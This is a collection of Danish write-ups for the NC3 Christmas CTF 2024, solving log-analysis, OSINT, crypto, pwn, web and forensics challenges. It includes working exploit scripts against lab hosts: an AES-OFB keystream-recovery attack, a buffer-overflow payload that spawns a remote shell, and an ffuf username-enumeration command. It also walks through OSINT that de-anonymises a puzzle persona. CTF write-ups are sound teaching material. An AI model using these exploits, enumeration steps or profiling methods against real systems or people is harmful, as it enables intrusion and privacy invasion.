Flag: NC3{CUst0m_enCod1ng_er_s3jt}
Ondsindede Loginforsøg
Introduktion
Julemandens hovedserver er blevet kompromitteret, og vi mistænker stærkt, at de ondsindede gnomer står bag angrebet. Julens politi har sat en undersøgelse i gang, men de har brug for din hjælp til at identificere gerningsgnomen og afdække de kriminelle handlinger, der er blevet udført.
Kan du hjælpe med at genoprette julefreden og få styr på de stjålne data?
OBS: Dette er en serie på fem opgaver, der skal løses sekventielt. Denne opgave låser op for den næste.
Denne opgave
Julens politi har sikret en logfil fra serveren, som indeholder detaljer om flere loginforsøg. De mistænker, at en gerningsgnom har opnået fjernadgang, men da julemandens egne nisser også har adgang til serveren, er det svært at skelne mellem legitime og mistænkelige loginforsøg.
Gerningsgnomen virker til at have været opmærksom på at skjule sine spor, men det kan jo glippe! Kan du identificere et loginforsøg med en særlig interessant IP-adresse, der kan sætte efterforskningen på sporet af den skyldige?
Flaget er formateret NC3{tidsstempel}
, hvor tidsstempel svarer til tidspunktet i det fundne loginforsøg, formateret som i loggen.
Vedhæftet fil: auth.log
Løsnings Summary:
-
Tidspunkter for aktiviteter: De logger ind på alle tider af døgnet.
-
Simultaneous sessions: Alle brugere har mange sessions på samme tid.
-
SUDO Actions: Alle brugere laver de samme SUDO actions. Selv root kører SUDO mange gange..
-
CRON Jobs: Kører meget predictable og udelukkende af root
-
Unknown users: Der er flere unknown users. Ingen er unikke. Alle forsøger kun fra interne IP’er.
-
root login fails: Mange fails, men alle er fra interne IP-adresser.
-
other user login fails: Sker flere gange for alle users, alle interne IP’er.
-
Sus users: KanelKnaser logger ind fra 100 foreign IP-adresser, primært TOR. Der er 1 kendt malicious IP, den er testet. Han flyver i øvrigt verden rundt på få sekunder, men det er testet at det ikke er mistænkeligt at han går fra bulgarien til holland på 6 sekunder.
-
Strange ports: Ingen
-
Foreign IP’s: Alle foreign IP’er (100) er næsten lige sus og hører udelukkende til KanelKnaser. Se IP analyse vedhæftet. Der er ikke nogen på nordpolen eller lign., det er primært TOR eller andre mærkelige steder. Heller ingen RUS/Kina.
-
“Suspicious IP”: Alle IP’er er blevet konverteret til ASCII og der er ingen som staver noget sjovt.
-
Misc: Der er et hop i loggen fra 31 jul kl. 21 something til 01 aug tilbage til 31 jul og så videre fra 01 aug igen.
Endelig Løsning: Ud af de 100 forskellige IP’er som KanelKnaser logger ind med, er: Aug 09 11:41:09 my-server sshd[14455]: Accepted password for KanelKnaser from 209.38.243.124 port 53935 ssh2. Alt det han ellers logger ind med er TOR Exit nodes. Denne ene er et VPN relay. [2:57 PM]
Flag: Aug 09 11:41:09
Serverskjulet
Julens politi formoder, at gerningsgnomen har etableret en skjult server og et tilknyttet domæne for at skjule sine spor.
Kan du bruge den fundne IP-adresse til at finde serveren og domænet, hvor yderligere spor om gerningsgnomen kan afsløres?
Bemærk: Opgaven kræver ikke bruteforce.
Løsning: Hvis man til går https://209.38.243.124 får man et invalid ssl cert. View cert giver følgendene oplysninger om certifikatet.
Flag: NC3{1nfiL7rAti0n_0g_3xf1ltr4t1on}
Kodedepotets Hemmelighed
Du har nu fundet gerningsgnomens hjemmeside, men dens indhold er kun overfladen. Julens politi mistænker, at yderligere information om eksfiltreret data kan gemme sig bag skjulte sider.
Brug OSINT-teknikker for at se, om du kan få adgang til disse skjulte sider og afsløre flere detaljer om, hvad der er blevet stjålet.
Kan du grave dybt nok til at finde den skjulte information?
Bemærk: Opgaven kræver ikke bruteforce.
Løsning:
- Gerningsgnomens hjemmeside = bitbibliotek.dk
- Der ligger en TXT record med:
"delingmedKodetand:enjulehemmelighed1.jan"
- der ligger også en mail: [email protected]
- Login side: https://bitbibliotek.dk/login
Hvis man laver lidt osint på datagnasker
som er taget fra mailen [email protected]
finder man en GitHub konto: https://github.com/datagnasker
Websidens kode kan findes her: https://github.com/datagnasker/web_test
I filen views.py
bliver denne linje fjernet og erstattet: if request.form['username'] == 'bit' and request.form['password'] == 'frost123':
Ved at loggeind med username bit
og password frost123
finder man en flag: NC3{g3m_4lDr1g_cR3d3nT1al5_i_g1T_r3P0}
Flag: NC3{g3m_4lDr1g_cR3d3nT1al5_i_g1T_r3P0}
Alternativ Kodedeling
Du har fundet et interessant link på gerningsgnomens hjemmeside, men adgangen er beskyttet af en adgangskode, som du mangler.
Julens politi har en mistanke om, at nisserne har efterladt spor et sted på domænet, som kan lede dig til den nødvendige kode.
Kan du afsløre adgangskoden og låse op for sidste trin i efterforskningen?
Bemærk: Opgaven kræver ikke bruteforce.
Løsning: Fra sidste opgave (Kodedepotets Hemmelighed) finder vi det interessante link som er: https://privatebin.net/?a5f7a035573705be#J5nBwc2LPLYTZKsy6prN32aHVxdMHjJfwbi4WaNcaSs8, pasten kræver en adgangskode, denne fandt vi også i sidste opgave: TXT record med: "delingmedKodetand:enjulehemmelighed1.jan"
. Koden til pasten er enjulehemmelighed1.jan
Under “INTERESSER” i sidste linje findes flaget.
Flag: NC3{d3L_1kK3_h3MmeL1gh3d3R_h3R}
Gerningsgnomens Afsløring
Efter omfattende efterforskning har du samlet flere spor om gerningsgnomens aktiviteter.
Nu har Julens Politi brug for din hjælp til at færdiggøre politirapporten med præcise detaljer om hændelserne og de stjålne data. Kan du sikre, at rapporten bliver komplet og klar til julens retsopgør?
Link til rapportskabelonen: https://tryhackme.com/jr/nisseh4ck2o24
Løsning:
I de sidste 4 opgaver har vi fundet følgendene:
- Brugernavn:
KanelKnaser
- Pin:
2412
- Grøntsag:
gulerødder
- Nøgler:
Nissehue, Sukkerstang, Guirlande, Kræmmerhus, Julekugle
- Nummer:
299 12 34 56
- IP-adresse:
209.38.243.124
- Email:
[email protected]
- Domæne:
bitbibliotek.dk
- For- og efternavn:
?????
- By:
?????
- Organisation:
Gnomerne Aps
- By:
Ringsted
Ved hjælp af Bing finder vi For- og efternavn:
- For- og efternavn:
Børge Madsen
Nu mangler vi bare By.
Ved at kigge på hans Github profil kan vi se et “Stack ID”:
Stack må betyde Stackoverflow: https://stackoverflow.com/users/28085338 som viser Location som Fensmark
- By:
Fensmark
Efter at have udfyldt rapportskabelonen får man:
Flag: NC3{hU5k_aT_sKr1v3_r4Pp0Rt}
PostNordpolen II
Kryptonisserne opdagede sikkerhedshullet og har udskiftet deres kryptosystem, så PostNordpolens postnisser igen er forhindret i at snage.
Nøglenisserne har med magi udvidet kodebogen, så den aldrig løber tør - men er kryptosystemet mon stadig sårbart?
https://tryhackme.com/jr/postnordpolenii2o24
Forbind med: nc <tildelt-ip> 1337
Vedhæftet fil: postnordpolen_ii.py
Løsning: AES OFB går på at man starter med en IV, som via key krypteres og bliver den første keystream som XOR’s med de første 16byte. Denne keystream bliver så den ny IV for igen at blive krypteret for at blive XOR’et med de næste 16byte osv. osv.
Løsningen ligger i at bede om så mange flag at man ved at starte strengen er “[BREV 1000] NC3{”, hvilket er 16byte. Vi kan dermed få den første keystream! Ved at sende breve og bruge denne keystream som IV, kan vi få den næste keystream ved at XOR vores besked tilbage på den cipher vi modtager: “[BREV 1001] AAAA” XOR keystream = ciphertext.
Det gøres så for alle 5 blocks og man har flaget 🙂
from Crypto.Cipher import AES #pycryptodome
import os
from pwn import *
key = os.urandom(16)
IV = os.urandom(16) #IV = efcc04b94963a02e01ac139456a3f160 in hex
cipher = AES.new(key, AES.MODE_OFB, IV)
#Krypter testflag
ct = cipher.encrypt('[BREV 1000] nc3{Dette_er_kun_en}'.encode())
print(ct)
#>>> 'g\xb7\xddL\xb6\xd8\x0b\x12u#D\x18a\xafv{\x93\xf6\x90$Z\x02|\xdb|\xa7\x8fO_j\x81\xa1'
first_bytes = ct[:16]
#first_bytes = bytes.fromhex(ct.hex()[:32])
ecb_cipher = AES.new(key, AES.MODE_ECB)
first_xor_key = ecb_cipher.encrypt(IV)
#Proof we can get the xor_key / keystream by xor with the known part
first_xor_key_calc = xor(first_bytes, '[BREV 1000] nc3{'.encode())
#Returns for first 16 bytes
print(first_xor_key) # >> b'xZ\x0f-\xb2\x19*\xc1\xd4\rX\xb0\xbb\x8c\x84\x92'
print(first_xor_key_calc) # >> b'xZ\x0f-\xb2\x19*\xc1\xd4\rX\xb0\xbb\x8c\x84\x92'
#Encrypt known plaintext with first_xor_key = IV
cipher2 = AES.new(key, AES.MODE_OFB, first_xor_key)
ct2 = cipher2.encrypt('[BREV 1001] AAAA'.encode())
second_xor_key = ecb_cipher.encrypt(first_xor_key)
#Proof we can get the xor_key / keystream by xor with the known part
second_xor_key_calc = xor(ct2, '[BREV 1001] AAAA'.encode())
print(second_xor_key) # >> b'FS[\x15\xbc\x93n#D\x05\x0e\xb2~\xda\xfb\x8b'
print(second_xor_key_calc) # >> b'FS[\x15\xbc\x93n#D\x05\x0e\xb2~\xda\xfb\x8b'
#Encrypt the IV once with the cipher to get the first block
first_block = xor(first_xor_key_calc, ct[:16]) # >> b'[BREV 1000] nc3{'
print(first_block)
#Encrypt the IV again with the cipher to get the second block
second_block = xor(second_xor_key_calc, ct[16:]) # >> b'Dette_er_kun_en}'
print(second_block)
#Recover the plaintext
pt = first_block + second_block
print(pt.decode('latin-1')) # >> "[BREV 1000] nc3{Dette_er_kun_en}"
from pwn import *
import binascii
context.log_level = 'debug'
host = '10.10.118.18'
port = 1337
#this to connect to the server
p = remote(host, port)
#decrypt with XOR func
#def xor(*args):
# return bytes([a ^ b ^ c for a, b, c in zip(*args)])
#parameters
letter = 1
enc_flag = ''
hex_flag = '5369e734ab805ea36f332f6ce4dc6d3fb6ef6e5df6b7ed407c3a7056e4fcc895be99677fe2d4d00088e59380817b4ecc9fbadbdad512aaf64978fbc1947eea912e2026382649ab85' #[BREV 1000] nc3{
#functions
#convert to byte
def hex_to_byte(hex):
return binascii.unhexlify(hex)
#known plaintext
def get_known(letter):
response = f"[BREV {letter}]".encode()
return response
#Get flag as byte string
def getFlag():
p.sendlineafter('> ', '1')
p.recvline()
enc_flag = binascii.unhexlify(p.recvline().strip().split(b': ')[1])
global letter
letter += 1
return enc_flag
#send keystream for encryption
def encryptKeystream(keystream, plaintext):
p.sendlineafter('> ', '2')
p.sendlineafter('Besked: ', 'AAAA')
p.sendlineafter('Adresse: ', 'Her')
p.sendlineafter('IV: ', keystream.hex())
p.recvline()
result = binascii.unhexlify(p.recvline().strip().split(b': ')[1])
global letter
letter += 1
#Convert to new keystream with known plaintext
newKeystream = xor(result, plaintext.encode())
return newKeystream
#1 Run flag 1000 times to make the first 16bytes '[BREV 1000] NC3{'
while letter < 1000:
getFlag()
enc_flag = getFlag()
#2 Convert first 16bytes to keystream
keystream = xor(enc_flag[:16], '[BREV 1000] NC3{')
#3 Convert the keystream using the send message option.
plaintext = f'[BREV {letter}] AAAA' # BREV 1001
keystream1 = encryptKeystream(keystream, plaintext)
plaintext = f'[BREV {letter}] AAAA' # BREV 1002
keystream2 = encryptKeystream(keystream1, plaintext)
plaintext = f'[BREV {letter}] AAAA' # BREV 1003
keystream3 = encryptKeystream(keystream2, plaintext)
plaintext = f'[BREV {letter}] AAAA' # BREV 1004
keystream4 = encryptKeystream(keystream3, plaintext)
#4 Xor with keystreams to return flag
block1 = xor(enc_flag[:16], keystream)
block2 = xor(enc_flag[16:32], keystream1)
block3 = xor(enc_flag[32:48], keystream2)
block4 = xor(enc_flag[48:64], keystream3)
block5 = xor(enc_flag[64:80], keystream4)
response = block1 + block2 + block3 + block4 + block5
log.success(response)
#this closes the connection
p.close()
# AES-OFB: https://pycryptodome.readthedocs.io/en/latest/src/cipher/classic.html#ofb-mode https://github.com/zelinsky/CTF-Course/blob/master/Classes/4.md
Flag: NC3{hv3m_h4r_brug_f0r_3n_k3y_n4r_m4n_k4n_g3n5k4b3_k3y5tr34m}
Nisse-gæld
Fritz blev opdaget i at snyde pensionssystemet og skal betale alt tilbage.
Han har dog allerede brugt en stor del på sin nye fede Nisla, så han står nu med en klækkelig gæld på ❄️10.000.000.
Froststyrelsen har centraliseret sin håndtering af ❄️ for at øge sikkerheden - mon Fritz kan snyde systemet igen og få adgang til deres server, så han kan eftergive sin egen gæld?
https://tryhackme.com/jr/n1ssegaeld2o24
Vedhæftet fil: nisseby-2
Løsning:
from pwn import *
# Address of the target function (login_froststyrelsen) that spawns a shell
#target_function_address = 0x00000000004018b2
target_function_address = 0x00000000004018b6
# Offset to overwrite the return address
offset = 1008
# Build the payload
payload = b'A' * offset
payload += p64(target_function_address)
payload += p64(target_function_address) #??? men det skal der til, tror det er pga
# stack alignment just in case i think :-)
# Ensure total payload length is a multiple of 16
padding_length = (16 - (len(payload) % 16)) % 16
payload += b'B' * padding_length
# Start the process
#p = process('./nisseby-2') #local
# Connect to the remote service
p = remote('10.10.75.215', 1337)
# Interact with the program
print(p.recvline().decode())
p.sendline(b'4')
print(p.recvline().decode())
sleep(1)
p.sendline(b'1')
print(p.recvline().decode())
sleep(1)
p.sendline(b'1')
print(p.recvline().decode())
sleep(1)
p.sendline(b'1')
print(p.recvline().decode())
sleep(1)
# Send the payload
p.sendline(payload)
# Hand over control to interact with the shell
p.interactive()
Flag: NC3{T1llykk3_N1ss3fr1tz_du_3r_nu_gældfr1_3ft3r_fl3r3_m1nutt3rs_hård7_4rb3jd3}
Skattekammeret-robotnisse
Ønske: Lidt Web og lidt PWN her i den kolde tid!
Du ved, hvad der må gøres! H4CK the NISSE-skattekammer. Et enkelt overflow ad gangen.
https://tryhackme.com/jr/skattekammeret2o24
Løsning: robots.txt
Flag: nc3{r0b0t}
Skattekammeret-storenisse
Løsning: Clue fra robots.txt: disallow /skjult/storenisse.html /skjult/storenisse.html:
<html>
<h1>Skattekammeret2o24</h1>
SHH!!!<br>
<br>
Hemmeligt kodeord til storenisse:<br>
<br>
<p style="color:white">jegkommermedfred</p>
</html>
ssh storenisse@<ip>
storenisse@nc3ctf24-skattekammeret2o24:~$ ls
bmMze3JvYm90c19iYXNlNjRfMGdfcHduX2lfZW5fcGFra2V9 gave.b64
python3 -c 'import base64;print(base64.b64decode("bmMze3JvYm90c19iYXNlNjRfMGdfcHduX2lfZW5fcGFra2V9").decode())'
Flag: nc3{robots_base64_0g_pwn_i_en_pakke}
GremlinGram
Nisser og gremlins har længe haft et anspændt forhold, og i år frygter nisserne, at de teknologiglade gremlins er i gang med at planlægge noget skummelt.
Nisserne har fundet et socialt medie, hvor gremlins kommunikerer og har bedt Julens politi om at efterforske sagen. De er sikre på, at der gemmer sig noget under overfladen på denne side…
https://tryhackme.com/jr/gremlingram2o24
Løsning: port 80 åben. der er tale om en chat. Ved tryk på brugernavne kommer man til endpointet /user?user=. kan være -6 til 5, ellers får man en 500 side. Hvis man sætter andet ind end en integer bliver den sur og smidder en tilbage til hovedsiden. Forsøger man at fuzze med andre endpoints, smidder den også en tilbage til hovedsiden (/admin). hvis man kommer ekstra subdirectory på bliver den ikke sur (/admin/)
7 bit ascii
Vi ses ved Postnordpolens hytte 5 kl 20:00
Tjek, jeg har "hammeren" med
10-4
Jeg har en gremlin med i aften
Ok, så længe du har godkendt ham
Det er en jeg kender. Han burde være helt fint
Bare sørg for at være klar
Bliver 10 minutter forsinket
Noteret. NC3{v1_sKr1v3r_whi7E5p4c3_I_sn33n}
10-4, find en rød Volvo
Flag: NC3{v1_sKr1v3r_whi7E5p4c3_I_sn33n}
Nisseportalen #2
Nissernes største ønske er en portal til deling af alle deres AI-genererede billeder aka Nisseportalen. Projektet er dog i fare efter Nissedevs utallige fiaskoer med både Dangerzone og Nissezonen.
Praktikantnissen har fået til opgave at redde Nisseportalen og få ryddet op i Nissedevs rod. Kan du hjælpe med at redde Nisseportalen og finde alle de sårbarheder, der må være, så projektet endelig kan blive gjort færdigt?
Men vær beredt, det er ikke til at sige hvad Nissedev har haft gang i…
https://tryhackme.com/jr/nisseportalen2o24
Løsning: Første skridt er at bruge ffuf til at afsløre mulige brugernavne ved hjælp af følgende kommando:
ffuf -request login.req -request-proto http -mode clusterbomb -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt:USERFUZZ -r -fs 797
Teknikken går ud på systematisk at teste brugernavne ved at identificere unikke responskarakteristika. Vi leder efter beskeder som “Forkert password”, der indikerer et eksisterende brugernavn.
Når vi har identificeret et gyldigt brugernavn, kan vi gennemføre et password-angreb for at få fuld adgang til systemet.
Login-oplysningerne viser sig at være:
- Brugernavn:
test
- Password:
tester
Flag: NC3{Flag2:9aMl3_kod3R_ru573r_AlDrI9}
Gift Wrappinator 9001
Nisserne har indkøbt en ny Gift Wrappinator 9001 for at undgå slidgigt, gaveindpakning til to milliarder børn er ikke for sjov…
Men nogen har indstillet maskinen forkert, alle gaverne er blevet pakket ind i mange lag gavepapir på forskellige måder.
Maskinen kan indstilles til at pakke op igen, men skal bruge en kode for at pakke hvert lag rigtigt op.
Pssst, scriptet blev genereret med Python 3.13.0
Vedhæftet fil: wrappinator.py
Løsning:
#!/usr/bin/env python3
import marshal
import dis #sinserted
import re
import os
import hashlib
def delete_empty_files_using_walk(root_path):
no_of_files_deleted = 0
# Route through the directories and files within the path -
for (dir, _, files) in os.walk(root_path):
for filename in files:
# Generate file path
file_path = os.path.join(dir, filename)
# Check if it is file and empty (size = 0) --------
if (
os.path.isfile(file_path) and
os.path.getsize(file_path) == 0
):
# Print the path of the file that will be deleted
print("Deleting File >>>", file_path.replace('\\', '/'))
# Delete the empty file
os.remove(file_path)
no_of_files_deleted += 1
print(no_of_files_deleted, "file(s) have been deleted.")
def generate_checksum(data):
# Create a SHA-256 hash object
sha256 = hashlib.sha256()
# Update the hash object with the data
sha256.update(data)
# Return the hexadecimal digest of the data
return sha256.hexdigest()
def xor(*args):
# Smart XOR implementation based on pwntools:
# https://github.com/Gallopsled/pwntools/blob/db98e5edfb/pwnlib/util/fiddling.py#L299-L351
args = [bytearray([s]) if isinstance(s, int) else bytearray(s) for s in args]
def xor_(n):
xored = 0
for s in args:
xored ^= s[n % len(s)]
return xored
length = max(len(s) for s in args)
return bytes(map(xor_, range(length)))
def xor_some(pyc,key):
""" 11
LOAD_NAME 3 (xor)
PUSH_NULL
LOAD_CONST 6 (b'....')
LOAD_NAME 4 (range)
PUSH_NULL
LOAD_CONST 7 (256)
CALL 1
LOAD_NAME 5 (user_input)
LOAD_CONST 0 (0)
BINARY_SUBSCR
CALL 3
STORE_NAME 6 (marshalled)"""
marshalled = xor(pyc,range(256),key)
""" 12
LOAD_NAME 7 (marshal)
LOAD_ATTR 17 (loads + NULL|self)
LOAD_NAME 6 (marshalled)
CALL 1
STORE_NAME 9 (compiled)"""
compiled = marshal.loads(marshalled)
return compiled
# user_input = (
# b'N'
# + b'C'
# + b'3'
# + b'{'
# # + b"\xff"*32 #input("Indtast kodeord til Gift Wrappinator 9001: ").encode()
# )
#user_input += b"\xff"*(33 - len(user_input))
#assert len(user_input) == 33, "Kodeordets længde passer ikke med antal lag!"
#
code = [
b'N',
b'C',
b'3',
b'{',
b'4',
b'n',
b'0',
b'7',
b'h',
b'3',#10
b'r',
b'_',
b'0',
b'n',
b'3',
b'_',
b'4',
b'n',
b'd',
b'_',
b'A',
b'n',
b't',
b'h',
b'3',
b'r',
b'_',
b'0',
b'n',
b'3',
b'!',
b'}'
]
s = ""
for c in code:
s += c.decode("utf-8")
print(s)
import hashlib
def generate_checksum(data):
# Create a SHA-256 hash object
sha256 = hashlib.sha256()
# Update the hash object with the data
sha256.update(data)
# Return the hexadecimal digest of the data
return sha256.hexdigest()
layer = 33
def save_layer(nr):
with open(f"./layer/_{str(nr)}.pyc", "wb") as file:
file.write(pyc)
print(generate_checksum(pyc))
pyc = b'\x9e|\x7f~yx{zutwvqssrmloni\x9b\xa7jed\xf2f=`1a]\\_^YX[ZUTWVQPSRML\x1cN|IKJEDGFa@\x1f@\x1f<l?\x0c9;:5476\x110o2\x7f//.)(+*%$\'&! #"\x1d\x1c\x1f\x1eJ\x18.\x1b\x15\x14\x17\x16\x11\x103\x12Q\x0e-\x0eZ\t>\x0b\x05\x04\x07\x06\x01\x00#\x02\xa1\xfc\xad\xfd\xf9\xf8\xfb\xfa\xf5\xf4\xf7\xf6\xf1\xf0\xf3\xf2\xed\xec\xef\xee\xe9\xe8\xb8\xea\xd0\xe5\xe7\xe6\xe1\xe0\xe3\xe2\xfd\xdc\x83\xdc\xfb\xd8\x88\xdb\xe0\xd5\xd7\xd6\xd1\xd0\xd3\xd2\xed\xcc\x93\xce\x9b\xcb\xcb\xca\xc5\xc4\xc7\xc6\xc1\xc0\xc3\xc2\xbd\xbc\xbf\xbe\xb9\xb8\xbb\xba\xe6\xb4\x82\xb7\xb1\xb0\xb3\xb2\xad\xac\x8f\xae\xf5\xaa\x89\xaa\xf6\xa6\x92\xa7\xa1\xa0\xa3\xa2\x9d\x9c\xbf\x9e\xfe\x9b\xb2\x9e\xf2\x0e\x0e\x0f\x08\t\n+\xb2\xf6\xa1\x95\xd2\xbb\xb3\xb1\xb0\xbf\xbe\xb2\xec\xa0\xa3\xa2]\\_^YX[ZUTWVQPSRMLONJKHIF\x7f<V\x0c{8R0&rT\x11-)(456zq1?>(l#/.h,+3!7\'1)1bXN\x1fPL\x18K[^_RB\x11_C\x13c\x05,\xf4-\\BG@\xfe"UMEFR\xc7\x19olpvo\xb3\x15\xe7\x17\x16\x11\x10\xc9\x12\xd7\x043cfl~f`:u\x0e\x01\x00\x03\x03\xfd\xfc\xff\x8d\xac\xf8\xfb\xfa\x05\xf7\xf6\xf7\xf0(\xf3\xf6j\xe6n\xe4a\xdbo\xe5<\xe4\xe26\xe7\xd67\xe2\xea\x04\xdf\xda^\xd2Z\xd0]\xe7S\xd9\x08\xd0\xd6\x02\xcb\xfa\x1b\xce\xfe\x10\xcb\xceB\xceF\xccI\xf3G\xcdd\xbc\xban\xbf\x8eo\xba\x82l\xb7\xb26\xba2\xb8%\x9f+\xa1p\xa8\xaez\xa3\x92r\xa6\x96\xd2\xa5\xa2\x9d\x9c'
save_layer(layer)
hex_range = (
code +
[int.to_bytes(i,1) for i in range(0x20,0x80)]
)
def get_dis(check,layer):
#key = b"NC3{"
for char in hex_range:
try:
binobj = xor_some(check,
char) # was 2
dis.code_info(binobj)
print(char)
good_binobj = binobj
break
except Exception as e:
#print(e)
pass
file_path = f"./dis/_{layer+1}.txt"
with open(file_path,"w") as file:
dis.dis(good_binobj,
file=file)
with open(f"./layer/_{layer}.pyc","rb") as file:
check = file.read()
print(generate_checksum(check))
get_dis(check,layer)
#delete_empty_files_using_walk('./dis')
exit()
prg = re.compile(r"\(b'(.*)'\)")
prg2 = re.compile(r"(\\x[0-9a-f]{2})|.")
def get_pyc(layer):
with open(f"./dis/_{layer}.txt","r") as file:
dis_file = file.read()
matches = prg.search(dis_file)
chars = prg2.findall(matches[1])
# new_pyc = bytes(matches.group(1),"utf-8")
with open(f"./layer/_{layer}.pyc","wb") as file:
for char in chars:
if len(char) > 0:
b_char = int(char[2:4], 16).to_bytes(1)
else:
b_char = bytes(char,"utf-8")
file.write(b_char)
with open(f"./layer/_{layer}.pyc","rb") as file:
pyc = file.read()
print(pyc[0:10])
print(pyc[-10:-1])
return file.read()
get_pyc(0)
exit()
key = b""
for layer in range(33):
print(f"Layer {layer}")
print("Getting pyc")
check = get_pyc(layer)
print("got pyc. getting key")
key_part = get_dis(check,layer )
print(f"got key part: {key_part}")
key += key_part
print(f"key is {key}. generation new pyc")
exit()
#My code#
try:
binobj = marshal.loads(check)
with open("wrap_dis_1.txt","w") as file:
dis.dis(binobj,
file=file)
# exec(binobj)
except (ValueError, EOFError, TypeError, SyntaxError):
print("FEJL: Koden matcher ikke gaveindpakningen!")
Flag: NC3{4n07h3r_0n3_4nd_Anoth3r_0n3!}
Raided
Midt- og Vestjyllands Politi har ransaget hos en mand i Viborg, der er mistænkt for at hacke Politiets systemer og downloade fortrolige dokumenter. På mandens adresse fandt de et par gemte devices samt to harddisks i et lille halvtomt rack.
Kredsen har carvet et par filer fra diskene, men formoder der er mere at komme efter, og de har derfor anmodet NC3 om assistance. Hjælp kredsen med at genskabe alt data, så de kan vurdere, om manden skal sigtes efter straffelovens § 263.
Vedhæftet fil: disks.zip
Løsning: Ud fra mappestrukturen på disken blev det identificeret, at data stammede fra en Linux-maskine. Diskene blev bundet til loop-enheder:
sudo losetup -fP disk_1
sudo losetup -fP disk_2
For at undersøge, hvordan diskene var en del af RAID-opsætningen, blev mdadm
brugt til at examine partitionerne:
sudo mdadm --examine /dev/loop1
sudo mdadm --examine /dev/loop2
Her blev det afsløret, at diskene var en del af et RAID-setup med fire diske.
Partitionen blev samlet med følgende kommando:
sudo mdadm --assemble --run /dev/md0 /dev/loop1 /dev/loop2 --force
Dette samlede RAID-opsætningen til en ny enhed /dev/md0
.
Den samlede partition blev mountet for at få adgang til filerne:
sudo mount /dev/md0 /mnt
Inde i mappen kunne filerne nu ses.
Flaget blev fundet i filen confidential_tlp_red.pdf
. Denne PDF indeholdt et billede med teksten: NC3{raid_completed}
Flag: NC3{raid_completed}